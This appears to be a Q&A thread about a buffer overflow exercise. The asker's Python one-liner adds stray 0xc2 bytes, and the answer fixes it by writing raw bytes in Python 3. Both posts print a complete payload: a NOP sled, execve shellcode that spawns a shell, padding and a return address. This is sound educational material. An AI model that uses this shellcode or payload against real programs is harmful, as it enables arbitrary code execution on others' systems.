0

I tried to add nopsled but kept getting c2 next to 90 which is 32 + 90 in hexadecimal.

run $(python -c 'print("\x90" * 182 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x41\x41\x41\x41" * 10 + "\x1c\xdd\xff\xff\xff\x7f")')

My buffer size is 256. 264 is when the rbp register is overflowed and beyond is when the return function is overflowed.

Hence, I subtracted the shell code(42bytes) and some padding(just \x41 40 bytes) from 264 which gave me 182. But when I ran the above code in gdb I got this image

there is this weird c2 after 90 which I think is some protection in gcc or in kali linux. I disable pie and stack protection

gcc -no-pie -fno-stack-protector -z execstack -o bufferyOverflow2 bufferOverflow.c

I don't know why I am keep getting c2 and because there is c2 I guess the shellcode and padding also get pushed.

SOMEONE PLEASE HELP ME!

1 Answers1

0

Ah. It looks like you've been hit with the good old 0x90c290c2.

This happens because of the differences in how Python2 and Python3 handles raw bytes.

Basically \x90c2 is the hexadecimal encoding of the UTF-8 character U+0090. Source

TL;DR

Prepend b to define raw bytes, import sys and use sys.stdout.buffer.write() to print raw bytes to stdout.

Modified code is shown below:

run $(python -c 'import sys; sys.stdout.buffer.write(b"\x90" * 182 + b"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + b"\x41\x41\x41\x41" * 10 + b"\x1c\xdd\xff\xff\xff\x7f")')

Long version

The main difference between python2 and python3 when it comes to handling raw bytes is that, python3 doesn’t store raw bytes into a variable or print raw bytes to stdout using the same old syntax.

If we want to save raw bytes to a variable, or print raw variable to stdout in Python3, we have to use a different syntax than python2. Also, we cannot concatenate raw bytes and strings in Python3. So, we have to convert the bytes to string or vice versa before any sort of concatenation.

In Python3, we have to explicitly specify the variable type as raw bytes using the b prefix, for Python to interpret it as raw bytes.

Storing raw bytes in Python3

  buf = b'\x90'

Notice the preceeding b along with the NOP? That b is required to let python know that this is a bytes variable. A lowercase b must preceed a string, if that string is to be treated as raw bytes. If not, Python will treat the data as a UTF-8 string variable, which ultimately messes up our cause.

We also have to be careful when printing raw bytes to stdout, as the print function doesn’t behave the same in python3.

Printing raw bytes to stdout in Python3 using Bash one-liner

So, to print raw bytes to stdout, we have to use the function sys.stdout.buffer.write() . It is available in the sys python package.

python -c 'import sys;a=b"\x41";sys.stdout.buffer.write(a)'

Printing raw bytes as string in Python3

Now, during binary exploitation, we would also require to print the UTF-8 encoded version of a raw bytes (Pretty print the raw bytes).

If that’s the case, then we can use the following code to print the raw bytes received from a network socket as string. This code will receive raw bytes from a network socket and decodes the bytes as UTF-8 formatted string and prints the output to stdout.

out=socket.recv(1024)      # Receiving raw bytes from socket

print(out.decode("utf-8"))  # Converting bytes to utf-8 string
                            # and printing it to stdout

Bonus Tip: Converting string variable to raw bytes in Python3

There might be situations where you have defined a variable as a string and you don’t want to edit all the variables back to buffer.

Well to those lazy people, there is a function in python3 called bytes().

Bytes function converts the a string to raw bytes, given the encoding type.

buf = ''
buf += '\x41\x41\x41\x41\x41\x41'
buf += '\x41\x41\x41\x41\x41\x41'
buf += '\x41\x41\x41\x41\x41\x41' # Raw bytes as string

socket.send(bytes(buf,"utf-8"))   # Converting string to bytes
                                  # and sending it to socket

This tip might not be super important, but this does comes in handy when debugging issues with our code during binary exploitation and when python raises Type Errors like a bytes-like object is required.

I've wrote a guide on Binary exploitation using Python3 and how to address the common pitfalls in this blog post. Read that for a more step by step explanation.

secnigma
  • 1
  • 3